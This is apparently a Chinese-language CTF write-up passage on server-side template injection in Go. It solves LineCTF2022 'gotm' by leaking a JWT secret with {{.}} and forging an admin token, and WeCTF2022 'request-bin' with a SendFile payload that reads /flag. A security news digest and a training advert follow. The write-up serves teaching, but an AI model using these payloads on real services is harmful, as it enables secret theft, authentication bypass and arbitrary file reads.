html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
输出为
模板内容 <h1>Hi, {{ .Name }}</h1><br>Your Email is {{ . }}
期待输出 <h1>Hi, John</h1><br>Your Email is map[Email:test@example.com Name:John]
可以看到结构体内的都会被打印出来,我们也常常利用这个检测是否存在SSTI。
接下来就以几道题目来验证一下
[LineCTF2022]gotm
package main
import (
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"text/template"
"github.com/golang-jwt/jwt"
)
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
type AccountClaims struct {
Id string `json:"id"`
Is_admin bool `json:"is_admin"`
jwt.StandardClaims
}
type Resp struct {
Status bool `json:"status"`
Msg string `json:"msg"`
}
type TokenResp struct {
Status bool `json:"status"`
Token string `json:"token"`
}
var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")
func clear_account() {
acc = acc[:1]
}
func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}
func jwt_encode(id string, is_admin bool) (string, error) {
claims := AccountClaims{
id, is_admin, jwt.StandardClaims{},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString([]byte(secret_key))
}
func jwt_decode(s string) (string, bool) {
token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
return []byte(secret_key), nil
})
if err != nil {
fmt.Println(err)
return "", false
}
if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
return claims.Id, claims.Is_admin
}
return "", false
}
func auth_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
w.WriteHeader(http.StatusForbidden)
return
}
func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)
p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
func main() {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)
http.HandleFunc("/", root_handler)
http.HandleFunc("/auth", auth_handler)
http.HandleFunc("/flag", flag_handler)
http.HandleFunc("/regist", regist_handler)
log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}
我们先对几个路由和其对应的函数进行分析。
struct结构
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
注册功能
func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key} //创建新用户
acc = append(acc, new_acc)
p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
登录功能
func auth_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw { //检验id和pw
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token} //返回token
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
w.WriteHeader(http.StatusForbidden)
return
}
认证功能
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" { //根据token解出id,根据uid取出对应account
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
得到account
func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}
flag路由
func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true { //将is_admin修改为true即可得到flag
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}
所以思路就清晰了,我们需要得到secret_key,然后继续jwt伪造得到flag。
而由于root_handler函数中得到的acc是数组中的地址,即会在全局变量acc函数中查找我们的用户,这时传入{{.secret_key}}会返回空,所以我们用{{.}}来得到结构体内所有内容。
/regist?id={{.}}&pw=123
/auth?id={{.}}&pw=123{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"}
带上token重新访问
Logged in as {{{.}} 123 false this_is_f4Ke_key}
得到secret_key,进行jwt伪造,把 is_admin修改为true,key填上secret_key得到
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.3OXFk-f_S2XqPdzHnl0esmJQXuTSXuA1IbpaGOMyvWo
带上token访问/flag
[WeCTF2022]request-bin
洁白一片,使用{{.}}进行检测
这道题目采用的框架是iris,用户可以对日志的格式参数进行控制,而参数又会被当成模板渲染,所以我们就可以利用该点进行ssti。
我们需要的是进行文件的读取,所以我们需要看看iris的accesslog库的模板注入如何利用。
在Accesslog的结构体中可以发现
type Log struct {
// The AccessLog instance this Log was created of.
Logger *AccessLog `json:"-" yaml:"-" toml:"-"`
// The time the log is created.
Now time.Time `json:"-" yaml:"-" toml:"-"`
// TimeFormat selected to print the Time as string,
// useful on Template Formatter.
TimeFormat string `json:"-" yaml:"-" toml:"-"`
// Timestamp the Now's unix timestamp (milliseconds).
Timestamp int64 `json:"timestamp" csv:"timestamp"`
// Request-Response latency.
Latency time.Duration `json:"latency" csv:"latency"`
// The response status code.
Code int `json:"code" csv:"code"`
// Init request's Method and Path.
Method string `json:"method" csv:"method"`
Path string `json:"path" csv:"path"`
// The Remote Address.
IP string `json:"ip,omitempty" csv:"ip,omitempty"`
// Sorted URL Query arguments.
Query []memstore.StringEntry `json:"query,omitempty" csv:"query,omitempty"`
// Dynamic path parameters.
PathParams memstore.Store `json:"params,omitempty" csv:"params,omitempty"`
// Fields any data information useful to represent this Log.
Fields memstore.Store `json:"fields,omitempty" csv:"fields,omitempty"`
// The Request and Response raw bodies.
// If they are escaped (e.g. JSON),
// A third-party software can read it through:
// data, _ := strconv.Unquote(log.Request)
// err := json.Unmarshal([]byte(data), &customStruct)
Request string `json:"request,omitempty" csv:"request,omitempty"`
Response string `json:"response,omitempty" csv:"response,omitempty"`
// The actual number of bytes received and sent on the network (headers + body or body only).
BytesReceived int `json:"bytes_received,omitempty" csv:"bytes_received,omitempty"`
BytesSent int `json:"bytes_sent,omitempty" csv:"bytes_sent,omitempty"`
// A copy of the Request's Context when Async is true (safe to use concurrently),
// otherwise it's the current Context (not safe for concurrent access).
Ctx *context.Context `json:"-" yaml:"-" toml:"-"`
}
这里我们经过审查,会发现context里面存在SendFile进行文件强制下载。
所以我们可以构造payload如下
{{ .Ctx.SendFile "/flag" "1.txt"}}
后言
golang的template跟很多模板引擎的语法差不多,比如双花括号指定可解析的对象,假如我们传入的参数是可解析的,就有可能造成泄露,其本质就是合并替换,而常用的检测payload可以用占位符.,对于该漏洞的防御也是多注意对传入参数的控制。
网络安全日报 2022年11月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、数千个应用泄露了 AlgoliaAPI 密钥,数百万用户数据受到威胁
https://www.securityweek.com/leaked-algolia-api-keys-exposed-data-millions-users 2、BMC 固件漏洞使 OT、物联网设备遭受远程攻击
https://www.securityweek.com/bmc-firmware-vulnerabilities-expose-ot-iot-devices-remote-attacks 3、微软在安全补丁导致 Kerberos 问题后发布带外更新
https://www.securityweek.com/microsoft-releases-out-band-update-after-security-patch-causes-kerberos-issues 4、基于Go的新型恶意软件“Aurora”被至少七个黑客组织采用
https://www.bleepingcomputer.com/news/security/aurora-infostealer-malware-increasingly-adopted-by-cybergangs/ 5、研究人员发现用于窃取加密货币的谷歌浏览器恶意扩展程序
https://www.bleepingcomputer.com/news/security/google-chrome-extension-used-to-steal-cryptocurrency-passwords/ 6、思科安全电子邮件网关存在漏洞而被绕过
https://www.securityweek.com/cisco-secure-email-gateway-filters-bypassed-due-malware-scanner-issue 7、AWS解决了影响 AWS AppSync 的漏洞
https://therecord.media/amazon-addresses-vulnerability-affecting-aws-appsync/ 8、大连警方侦破利用“跑马机”设备非法控制计算机信息系统案
https://www.anquanke.com/post/id/283506 9、DTrack开始针对欧洲和拉丁美洲发起攻击
https://www.4hou.com/posts/JXMv 10、黑客在对DraftKings的撞库攻击中窃取30万美元
https://www.bleepingcomputer.com/news/security/hackers-steal-300-000-in-draftkings-credential-stuffing-attack/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

